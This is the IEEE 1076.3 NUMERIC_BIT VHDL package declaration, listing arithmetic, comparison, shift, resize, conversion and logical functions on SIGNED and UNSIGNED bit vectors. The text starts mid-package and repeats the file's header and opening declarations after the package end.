-- Id: A.6
function "+" (L: NATURAL; R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(R'LENGTH-1 downto 0).
-- Result: Adds a non-negative INTEGER, L, with an UNSIGNED vector, R.
-- Id: A.7
function "+" (L: INTEGER; R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(R'LENGTH-1 downto 0).
-- Result: Adds an INTEGER, L(may be positive or negative), to a SIGNED
-- vector, R.
-- Id: A.8
function "+" (L: SIGNED; R: INTEGER) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0).
-- Result: Adds a SIGNED vector, L, to an INTEGER, R.
--============================================================================
-- Id: A.9
function "-" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(MAX(L'LENGTH, R'LENGTH)-1 downto 0).
-- Result: Subtracts two UNSIGNED vectors that may be of different lengths.
-- Id: A.10
function "-" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(MAX(L'LENGTH, R'LENGTH)-1 downto 0).
-- Result: Subtracts a SIGNED vector, R, from another SIGNED vector, L,
-- that may possibly be of different lengths.
-- Id: A.11
function "-" (L: UNSIGNED; R: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0).
-- Result: Subtracts a non-negative INTEGER, R, from an UNSIGNED vector, L.
-- Id: A.12
function "-" (L: NATURAL; R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(R'LENGTH-1 downto 0).
-- Result: Subtracts an UNSIGNED vector, R, from a non-negative INTEGER, L.
-- Id: A.13
function "-" (L: SIGNED; R: INTEGER) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0).
-- Result: Subtracts an INTEGER, R, from a SIGNED vector, L.
-- Id: A.14
function "-" (L: INTEGER; R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(R'LENGTH-1 downto 0).
-- Result: Subtracts a SIGNED vector, R, from an INTEGER, L.
--============================================================================
-- Id: A.15
function "*" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED((L'LENGTH+R'LENGTH-1) downto 0).
-- Result: Performs the multiplication operation on two UNSIGNED vectors
-- that may possibly be of different lengths.
-- Id: A.16
function "*" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED((L'LENGTH+R'LENGTH-1) downto 0)
-- Result: Multiplies two SIGNED vectors that may possibly be of
-- different lengths.
-- Id: A.17
function "*" (L: UNSIGNED; R: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED((L'LENGTH+L'LENGTH-1) downto 0).
-- Result: Multiplies an UNSIGNED vector, L, with a non-negative
-- INTEGER, R. R is converted to an UNSIGNED vector of
-- size L'LENGTH before multiplication.
-- Id: A.18
function "*" (L: NATURAL; R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED((R'LENGTH+R'LENGTH-1) downto 0).
-- Result: Multiplies an UNSIGNED vector, R, with a non-negative
-- INTEGER, L. L is converted to an UNSIGNED vector of
-- size R'LENGTH before multiplication.
-- Id: A.19
function "*" (L: SIGNED; R: INTEGER) return SIGNED;
-- Result subtype: SIGNED((L'LENGTH+L'LENGTH-1) downto 0)
-- Result: Multiplies a SIGNED vector, L, with an INTEGER, R. R is
-- converted to a SIGNED vector of size L'LENGTH before
-- multiplication.
-- Id: A.20
function "*" (L: INTEGER; R: SIGNED) return SIGNED;
-- Result subtype: SIGNED((R'LENGTH+R'LENGTH-1) downto 0)
-- Result: Multiplies a SIGNED vector, R, with an INTEGER, L. L is
-- converted to a SIGNED vector of size R'LENGTH before
-- multiplication.
--============================================================================
--
-- NOTE: If second argument is zero for "/" operator, a severity level
-- of ERROR is issued.
-- Id: A.21
function "/" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Divides an UNSIGNED vector, L, by another UNSIGNED vector, R.
-- Id: A.22
function "/" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Divides an SIGNED vector, L, by another SIGNED vector, R.
-- Id: A.23
function "/" (L: UNSIGNED; R: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Divides an UNSIGNED vector, L, by a non-negative INTEGER, R.
-- If NO_OF_BITS(R) > L'LENGTH, result is truncated to L'LENGTH.
-- Id: A.24
function "/" (L: NATURAL; R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(R'LENGTH-1 downto 0)
-- Result: Divides a non-negative INTEGER, L, by an UNSIGNED vector, R.
-- If NO_OF_BITS(L) > R'LENGTH, result is truncated to R'LENGTH.
-- Id: A.25
function "/" (L: SIGNED; R: INTEGER) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Divides a SIGNED vector, L, by an INTEGER, R.
-- If NO_OF_BITS(R) > L'LENGTH, result is truncated to L'LENGTH.
-- Id: A.26
function "/" (L: INTEGER; R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(R'LENGTH-1 downto 0)
-- Result: Divides an INTEGER, L, by a SIGNED vector, R.
-- If NO_OF_BITS(L) > R'LENGTH, result is truncated to R'LENGTH.
--============================================================================
--
-- NOTE: If second argument is zero for "rem" operator, a severity level
-- of ERROR is issued.
-- Id: A.27
function "rem" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(R'LENGTH-1 downto 0)
-- Result: Computes "L rem R" where L and R are UNSIGNED vectors.
-- Id: A.28
function "rem" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(R'LENGTH-1 downto 0)
-- Result: Computes "L rem R" where L and R are SIGNED vectors.
-- Id: A.29
function "rem" (L: UNSIGNED; R: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Computes "L rem R" where L is an UNSIGNED vector and R is a
-- non-negative INTEGER.
-- If NO_OF_BITS(R) > L'LENGTH, result is truncated to L'LENGTH.
-- Id: A.30
function "rem" (L: NATURAL; R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(R'LENGTH-1 downto 0)
-- Result: Computes "L rem R" where R is an UNSIGNED vector and L is a
-- non-negative INTEGER.
-- If NO_OF_BITS(L) > R'LENGTH, result is truncated to R'LENGTH.
-- Id: A.31
function "rem" (L: SIGNED; R: INTEGER) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Computes "L rem R" where L is SIGNED vector and R is an INTEGER.
-- If NO_OF_BITS(R) > L'LENGTH, result is truncated to L'LENGTH.
-- Id: A.32
function "rem" (L: INTEGER; R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(R'LENGTH-1 downto 0)
-- Result: Computes "L rem R" where R is SIGNED vector and L is an INTEGER.
-- If NO_OF_BITS(L) > R'LENGTH, result is truncated to R'LENGTH.
--============================================================================
--
-- NOTE: If second argument is zero for "mod" operator, a severity level
-- of ERROR is issued.
-- Id: A.33
function "mod" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(R'LENGTH-1 downto 0)
-- Result: Computes "L mod R" where L and R are UNSIGNED vectors.
-- Id: A.34
function "mod" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(R'LENGTH-1 downto 0)
-- Result: Computes "L mod R" where L and R are SIGNED vectors.
-- Id: A.35
function "mod" (L: UNSIGNED; R: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Computes "L mod R" where L is an UNSIGNED vector and R
-- is a non-negative INTEGER.
-- If NO_OF_BITS(R) > L'LENGTH, result is truncated to L'LENGTH.
-- Id: A.36
function "mod" (L: NATURAL; R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(R'LENGTH-1 downto 0)
-- Result: Computes "L mod R" where R is an UNSIGNED vector and L
-- is a non-negative INTEGER.
-- If NO_OF_BITS(L) > R'LENGTH, result is truncated to R'LENGTH.
-- Id: A.37
function "mod" (L: SIGNED; R: INTEGER) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Computes "L mod R" where L is a SIGNED vector and
-- R is an INTEGER.
-- If NO_OF_BITS(R) > L'LENGTH, result is truncated to L'LENGTH.
-- Id: A.38
function "mod" (L: INTEGER; R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(R'LENGTH-1 downto 0)
-- Result: Computes "L mod R" where L is an INTEGER and
-- R is a SIGNED vector.
-- If NO_OF_BITS(L) > R'LENGTH, result is truncated to R'LENGTH.
--============================================================================
-- Comparison Operators
--============================================================================
-- Id: C.1
function ">" (L, R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L > R" where L and R are UNSIGNED vectors possibly
-- of different lengths.
-- Id: C.2
function ">" (L, R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L > R" where L and R are SIGNED vectors possibly
-- of different lengths.
-- Id: C.3
function ">" (L: NATURAL; R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L > R" where L is a non-negative INTEGER and
-- R is an UNSIGNED vector.
-- Id: C.4
function ">" (L: INTEGER; R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L > R" where L is a INTEGER and
-- R is a SIGNED vector.
-- Id: C.5
function ">" (L: UNSIGNED; R: NATURAL) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L > R" where L is an UNSIGNED vector and
-- R is a non-negative INTEGER.
-- Id: C.6
function ">" (L: SIGNED; R: INTEGER) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L > R" where L is a SIGNED vector and
-- R is a INTEGER.
--============================================================================
-- Id: C.7
function "<" (L, R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L < R" where L and R are UNSIGNED vectors possibly
-- of different lengths.
-- Id: C.8
function "<" (L, R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L < R" where L and R are SIGNED vectors possibly
-- of different lengths.
-- Id: C.9
function "<" (L: NATURAL; R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L < R" where L is a non-negative INTEGER and
-- R is an UNSIGNED vector.
-- Id: C.10
function "<" (L: INTEGER; R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L < R" where L is an INTEGER and
-- R is a SIGNED vector.
-- Id: C.11
function "<" (L: UNSIGNED; R: NATURAL) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L < R" where L is an UNSIGNED vector and
-- R is a non-negative INTEGER.
-- Id: C.12
function "<" (L: SIGNED; R: INTEGER) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L < R" where L is a SIGNED vector and
-- R is an INTEGER.
--============================================================================
-- Id: C.13
function "<=" (L, R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L <= R" where L and R are UNSIGNED vectors possibly
-- of different lengths.
-- Id: C.14
function "<=" (L, R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L <= R" where L and R are SIGNED vectors possibly
-- of different lengths.
-- Id: C.15
function "<=" (L: NATURAL; R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L <= R" where L is a non-negative INTEGER and
-- R is an UNSIGNED vector.
-- Id: C.16
function "<=" (L: INTEGER; R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L <= R" where L is an INTEGER and
-- R is a SIGNED vector.
-- Id: C.17
function "<=" (L: UNSIGNED; R: NATURAL) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L <= R" where L is an UNSIGNED vector and
-- R is a non-negative INTEGER.
-- Id: C.18
function "<=" (L: SIGNED; R: INTEGER) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L <= R" where L is a SIGNED vector and
-- R is an INTEGER.
--============================================================================
-- Id: C.19
function ">=" (L, R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L >= R" where L and R are UNSIGNED vectors possibly
-- of different lengths.
-- Id: C.20
function ">=" (L, R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L >= R" where L and R are SIGNED vectors possibly
-- of different lengths.
-- Id: C.21
function ">=" (L: NATURAL; R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L >= R" where L is a non-negative INTEGER and
-- R is an UNSIGNED vector.
-- Id: C.22
function ">=" (L: INTEGER; R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L >= R" where L is an INTEGER and
-- R is a SIGNED vector.
-- Id: C.23
function ">=" (L: UNSIGNED; R: NATURAL) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L >= R" where L is an UNSIGNED vector and
-- R is a non-negative INTEGER.
-- Id: C.24
function ">=" (L: SIGNED; R: INTEGER) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L >= R" where L is a SIGNED vector and
-- R is an INTEGER.
--============================================================================
-- Id: C.25
function "=" (L, R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L = R" where L and R are UNSIGNED vectors possibly
-- of different lengths.
-- Id: C.26
function "=" (L, R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L = R" where L and R are SIGNED vectors possibly
-- of different lengths.
-- Id: C.27
function "=" (L: NATURAL; R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L = R" where L is a non-negative INTEGER and
-- R is an UNSIGNED vector.
-- Id: C.28
function "=" (L: INTEGER; R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L = R" where L is an INTEGER and
-- R is a SIGNED vector.
-- Id: C.29
function "=" (L: UNSIGNED; R: NATURAL) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L = R" where L is an UNSIGNED vector and
-- R is a non-negative INTEGER.
-- Id: C.30
function "=" (L: SIGNED; R: INTEGER) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L = R" where L is a SIGNED vector and
-- R is an INTEGER.
--============================================================================
-- Id: C.31
function "/=" (L, R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L /= R" where L and R are UNSIGNED vectors possibly
-- of different lengths.
-- Id: C.32
function "/=" (L, R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L /= R" where L and R are SIGNED vectors possibly
-- of different lengths.
-- Id: C.33
function "/=" (L: NATURAL; R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L /= R" where L is a non-negative INTEGER and
-- R is an UNSIGNED vector.
-- Id: C.34
function "/=" (L: INTEGER; R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L /= R" where L is an INTEGER and
-- R is a SIGNED vector.
-- Id: C.35
function "/=" (L: UNSIGNED; R: NATURAL) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L /= R" where L is an UNSIGNED vector and
-- R is a non-negative INTEGER.
-- Id: C.36
function "/=" (L: SIGNED; R: INTEGER) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L /= R" where L is a SIGNED vector and
-- R is an INTEGER.
--============================================================================
-- Shift and Rotate Functions
--============================================================================
-- Id: S.1
function SHIFT_LEFT (ARG: UNSIGNED; COUNT: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(ARG'LENGTH-1 downto 0)
-- Result: Performs a shift-left on an UNSIGNED vector COUNT times.
-- The vacated positions are filled with Bit '0'.
-- The COUNT leftmost bits are lost.
-- Id: S.2
function SHIFT_RIGHT (ARG: UNSIGNED; COUNT: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(ARG'LENGTH-1 downto 0)
-- Result: Performs a shift-right on an UNSIGNED vector COUNT times.
-- The vacated positions are filled with Bit '0'.
-- The COUNT rightmost bits are lost.
-- Id: S.3
function SHIFT_LEFT (ARG: SIGNED; COUNT: NATURAL) return SIGNED;
-- Result subtype: SIGNED(ARG'LENGTH-1 downto 0)
-- Result: Performs a shift-left on a SIGNED vector COUNT times.
-- The vacated positions are filled with Bit '0'.
-- The COUNT leftmost bits, except ARG'LEFT, are lost.
-- Id: S.4
function SHIFT_RIGHT (ARG: SIGNED; COUNT: NATURAL) return SIGNED;
-- Result subtype: SIGNED(ARG'LENGTH-1 downto 0)
-- Result: Performs a shift-right on a SIGNED vector COUNT times.
-- The vacated positions are filled with the leftmost bit, ARG'LEFT.
-- The COUNT rightmost bits are lost.
--============================================================================
-- Id: S.5
function ROTATE_LEFT (ARG: UNSIGNED; COUNT: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(ARG'LENGTH-1 downto 0)
-- Result: Performs a rotate-left of an UNSIGNED vector COUNT times.
-- Id: S.6
function ROTATE_RIGHT (ARG: UNSIGNED; COUNT: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(ARG'LENGTH-1 downto 0)
-- Result: Performs a rotate-right of an UNSIGNED vector COUNT times.
-- Id: S.7
function ROTATE_LEFT (ARG: SIGNED; COUNT: NATURAL) return SIGNED;
-- Result subtype: SIGNED(ARG'LENGTH-1 downto 0)
-- Result: Performs a logical rotate-left of a SIGNED vector COUNT times.
-- Id: S.8
function ROTATE_RIGHT (ARG: SIGNED; COUNT: NATURAL) return SIGNED;
-- Result subtype: SIGNED(ARG'LENGTH-1 downto 0)
-- Result: Performs a logical rotate-right of a SIGNED vector COUNT times.
--============================================================================
------------------------------------------------------------------------------
-- Note : Function S.9 is not compatible with VHDL 1076-1987. Comment
-- out the function (declaration and body) for VHDL 1076-1987 compatibility.
------------------------------------------------------------------------------
-- Id: S.9
function "sll" (ARG: UNSIGNED; COUNT: INTEGER) return UNSIGNED; --V93
-- Result subtype: UNSIGNED(ARG'LENGTH-1 downto 0)
-- Result: SHIFT_LEFT(ARG, COUNT)
------------------------------------------------------------------------------
-- Note : Function S.10 is not compatible with VHDL 1076-1987. Comment
-- out the function (declaration and body) for VHDL 1076-1987 compatibility.
------------------------------------------------------------------------------
-- Id: S.10
function "sll" (ARG: SIGNED; COUNT: INTEGER) return SIGNED; --V93
-- Result subtype: SIGNED(ARG'LENGTH-1 downto 0)
-- Result: SHIFT_LEFT(ARG, COUNT)
------------------------------------------------------------------------------
-- Note : Function S.11 is not compatible with VHDL 1076-1987. Comment
-- out the function (declaration and body) for VHDL 1076-1987 compatibility.
------------------------------------------------------------------------------
-- Id: S.11
function "srl" (ARG: UNSIGNED; COUNT: INTEGER) return UNSIGNED; --V93
-- Result subtype: UNSIGNED(ARG'LENGTH-1 downto 0)
-- Result: SHIFT_RIGHT(ARG, COUNT)
------------------------------------------------------------------------------
-- Note : Function S.12 is not compatible with VHDL 1076-1987. Comment
-- out the function (declaration and body) for VHDL 1076-1987 compatibility.
------------------------------------------------------------------------------
-- Id: S.12
function "srl" (ARG: SIGNED; COUNT: INTEGER) return SIGNED; --V93
-- Result subtype: SIGNED(ARG'LENGTH-1 downto 0)
-- Result: SIGNED(SHIFT_RIGHT(UNSIGNED(ARG), COUNT))
------------------------------------------------------------------------------
-- Note : Function S.13 is not compatible with VHDL 1076-1987. Comment
-- out the function (declaration and body) for VHDL 1076-1987 compatibility.
------------------------------------------------------------------------------
-- Id: S.13
function "rol" (ARG: UNSIGNED; COUNT: INTEGER) return UNSIGNED; --V93
-- Result subtype: UNSIGNED(ARG'LENGTH-1 downto 0)
-- Result: ROTATE_LEFT(ARG, COUNT)
------------------------------------------------------------------------------
-- Note : Function S.14 is not compatible with VHDL 1076-1987. Comment
-- out the function (declaration and body) for VHDL 1076-1987 compatibility.
------------------------------------------------------------------------------
-- Id: S.14
function "rol" (ARG: SIGNED; COUNT: INTEGER) return SIGNED; --V93
-- Result subtype: SIGNED(ARG'LENGTH-1 downto 0)
-- Result: ROTATE_LEFT(ARG, COUNT)
------------------------------------------------------------------------------
-- Note : Function S.15 is not compatible with VHDL 1076-1987. Comment
-- out the function (declaration and body) for VHDL 1076-1987 compatibility.
------------------------------------------------------------------------------
-- Id: S.15
function "ror" (ARG: UNSIGNED; COUNT: INTEGER) return UNSIGNED; --V93
-- Result subtype: UNSIGNED(ARG'LENGTH-1 downto 0)
-- Result: ROTATE_RIGHT(ARG, COUNT)
------------------------------------------------------------------------------
-- Note : Function S.16 is not compatible with VHDL 1076-1987. Comment
-- out the function (declaration and body) for VHDL 1076-1987 compatibility.
------------------------------------------------------------------------------
-- Id: S.16
function "ror" (ARG: SIGNED; COUNT: INTEGER) return SIGNED; --V93
-- Result subtype: SIGNED(ARG'LENGTH-1 downto 0)
-- Result: ROTATE_RIGHT(ARG, COUNT)
--============================================================================
-- RESIZE Functions
--============================================================================
-- Id: R.1
function RESIZE (ARG: SIGNED; NEW_SIZE: NATURAL) return SIGNED;
-- Result subtype: SIGNED(NEW_SIZE-1 downto 0)
-- Result: Resizes the SIGNED vector ARG to the specified size.
-- To create a larger vector, the new [leftmost] bit positions
-- are filled with the sign bit (ARG'LEFT). When truncating,
-- the sign bit is retained along with the rightmost part.
-- Id: R.2
function RESIZE (ARG: UNSIGNED; NEW_SIZE: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(NEW_SIZE-1 downto 0)
-- Result: Resizes the UNSIGNED vector ARG to the specified size.
-- To create a larger vector, the new [leftmost] bit positions
-- are filled with '0'. When truncating, the leftmost bits
-- are dropped.
--============================================================================
-- Conversion Functions
--============================================================================
-- Id: D.1
function TO_INTEGER (ARG: UNSIGNED) return NATURAL;
-- Result subtype: NATURAL. Value cannot be negative since parameter is an
-- UNSIGNED vector.
-- Result: Converts the UNSIGNED vector to an INTEGER.
-- Id: D.2
function TO_INTEGER (ARG: SIGNED) return INTEGER;
-- Result subtype: INTEGER
-- Result: Converts a SIGNED vector to an INTEGER.
-- Id: D.3
function TO_UNSIGNED (ARG, SIZE: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(SIZE-1 downto 0)
-- Result: Converts a non-negative INTEGER to an UNSIGNED vector with
-- the specified size.
-- Id: D.4
function TO_SIGNED (ARG: INTEGER; SIZE: NATURAL) return SIGNED;
-- Result subtype: SIGNED(SIZE-1 downto 0)
-- Result: Converts an INTEGER to a SIGNED vector of the specified size.
--============================================================================
-- Logical Operators
--============================================================================
-- Id: L.1
function "not" (L: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Termwise inversion
-- Id: L.2
function "and" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Vector AND operation
-- Id: L.3
function "or" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Vector OR operation
-- Id: L.4
function "nand" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Vector NAND operation
-- Id: L.5
function "nor" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Vector NOR operation
-- Id: L.6
function "xor" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Vector XOR operation
------------------------------------------------------------------------------
-- Note : Function L.7 is not compatible with VHDL 1076-1987. Comment
-- out the function (declaration and body) for VHDL 1076-1987 compatibility.
------------------------------------------------------------------------------
-- Id: L.7
function "xnor" (L, R: UNSIGNED) return UNSIGNED; --V93
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Vector XNOR operation
-- Id: L.8
function "not" (L: SIGNED) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Termwise inversion
-- Id: L.9
function "and" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Vector AND operation
-- Id: L.10
function "or" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Vector OR operation
-- Id: L.11
function "nand" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Vector NAND operation
-- Id: L.12
function "nor" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Vector NOR operation
-- Id: L.13
function "xor" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Vector XOR operation
------------------------------------------------------------------------------
-- Note : Function L.14 is not compatible with VHDL 1076-1987. Comment
-- out the function (declaration and body) for VHDL 1076-1987 compatibility.
------------------------------------------------------------------------------
-- Id: L.14
function "xnor" (L, R: SIGNED) return SIGNED; --V93
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Vector XNOR operation
--============================================================================
-- Edge Detection Functions
--============================================================================
-- Id: E.1
function RISING_EDGE (signal S: BIT) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Returns TRUE if an event is detected on signal S and the
-- value changed from a '0' to a '1'.
-- Id: E.2
function FALLING_EDGE (signal S: BIT) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Returns TRUE if an event is detected on signal S and the
-- value changed from a '1' to a '0'.
end NUMERIC_BIT;
|
-- -----------------------------------------------------------------------------
--
-- Copyright 1995 by IEEE. All rights reserved.
--
-- This source file is considered by the IEEE to be an essential part of the use
-- of the standard 1076.3 and as such may be distributed without change, except
-- as permitted by the standard. This source file may not be sold or distributed
-- for profit. This package may be modified to include additional data required
-- by tools, but must in no way change the external interfaces or simulation
-- behaviour of the description. It is permissible to add comments and/or
-- attributes to the package declarations, but not to change or delete any
-- original lines of the approved package declaration. The package body may be
-- changed only in accordance with the terms of clauses 7.1 and 7.2 of the
-- standard.
--
-- Title : Standard VHDL Synthesis Package (1076.3, NUMERIC_BIT)
--
-- Library : This package shall be compiled into a library symbolically
-- : named IEEE.
--
-- Developers : IEEE DASC Synthesis Working Group, PAR 1076.3
--
-- Purpose : This package defines numeric types and arithmetic functions
-- : for use with synthesis tools. Two numeric types are defined:
-- : -- > UNSIGNED: represents an UNSIGNED number in vector form
-- : -- > SIGNED: represents a SIGNED number in vector form
-- : The base element type is type BIT.
-- : The leftmost bit is treated as the most significant bit.
-- : Signed vectors are represented in two's complement form.
-- : This package contains overloaded arithmetic operators on
-- : the SIGNED and UNSIGNED types. The package also contains
-- : useful type conversions functions, clock detection
-- : functions, and other utility functions.
-- :
-- : If any argument to a function is a null array, a null array is
-- : returned (exceptions, if any, are noted individually).
--
-- Limitation :
--
-- Note : No declarations or definitions shall be included in,
-- : or excluded from this package. The "package declaration"
-- : defines the types, subtypes and declarations of
-- : NUMERIC_BIT. The NUMERIC_BIT package body shall be
-- : considered the formal definition of the semantics of
-- : this package. Tool developers may choose to implement
-- : the package body in the most efficient manner available
-- : to them.
-- :
-- -----------------------------------------------------------------------------
-- Version : 2.4
-- Date : 12 April 1995
-- -----------------------------------------------------------------------------
package NUMERIC_BIT is
constant CopyRightNotice: STRING
:= "Copyright 1995 IEEE. All rights reserved.";
--============================================================================
-- Numeric array type definitions
--============================================================================
type UNSIGNED is array (NATURAL range <> ) of BIT;
type SIGNED is array (NATURAL range <> ) of BIT;
--============================================================================
-- Arithmetic Operators:
--============================================================================
-- Id: A.1
function "abs" (ARG: SIGNED) return SIGNED;
-- Result subtype: SIGNED(ARG'LENGTH-1 downto 0).
-- Result: Returns the absolute value of a SIGNED vector ARG.
-- Id: A.2
function "-" (ARG: SIGNED) return SIGNED;
-- Result subtype: SIGNED(ARG'LENGTH-1 downto 0).
-- Result: Returns the value of the unary minus operation on a
-- SIGNED vector ARG.
--============================================================================
-- Id: A.3
function "+" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(MAX(L'LENGTH, R'LENGTH)-1 downto 0).
-- Result: Adds two UNSIGNED vectors that may be of different lengths.
-- Id: A.4
function "+" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(MAX(L'LENGTH, R'LENGTH)-1 downto 0).
-- Result: Adds two SIGNED vectors that may be of different lengths.
-- Id: A.5
function "+" (L: UNSIGNED; R: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0).
-- Result: Adds an UNSIGNED vector, L, with a non-negative INTEGER, R.
-- Id: A.6
function "+" (L: NATURAL; R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(R'LENGTH-1 downto 0).
-- Result: Adds a non-negative INTEGER, L, with an UNSIGNED vector, R.
-- Id: A.7
function "+" (L: INTEGER; R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(R'LENGTH-1 downto 0).
-- Result: Adds an INTEGER, L(may be positive or negative), to a SIGNED
-- vector, R.
-- Id: A.8
function "+" (L: SIGNED; R: INTEGER) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0).
-- Result: Adds a SIGNED vector, L, to an INTEGER, R.
--============================================================================
-- Id: A.9
function "-" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(MAX(L'LENGTH, R'LENGTH)-1 downto 0).
-- Result: Subtracts two UNSIGNED vectors that may be of different lengths.
-- Id: A.10
function "-" (L, R: SIGNED) return SIGNED;
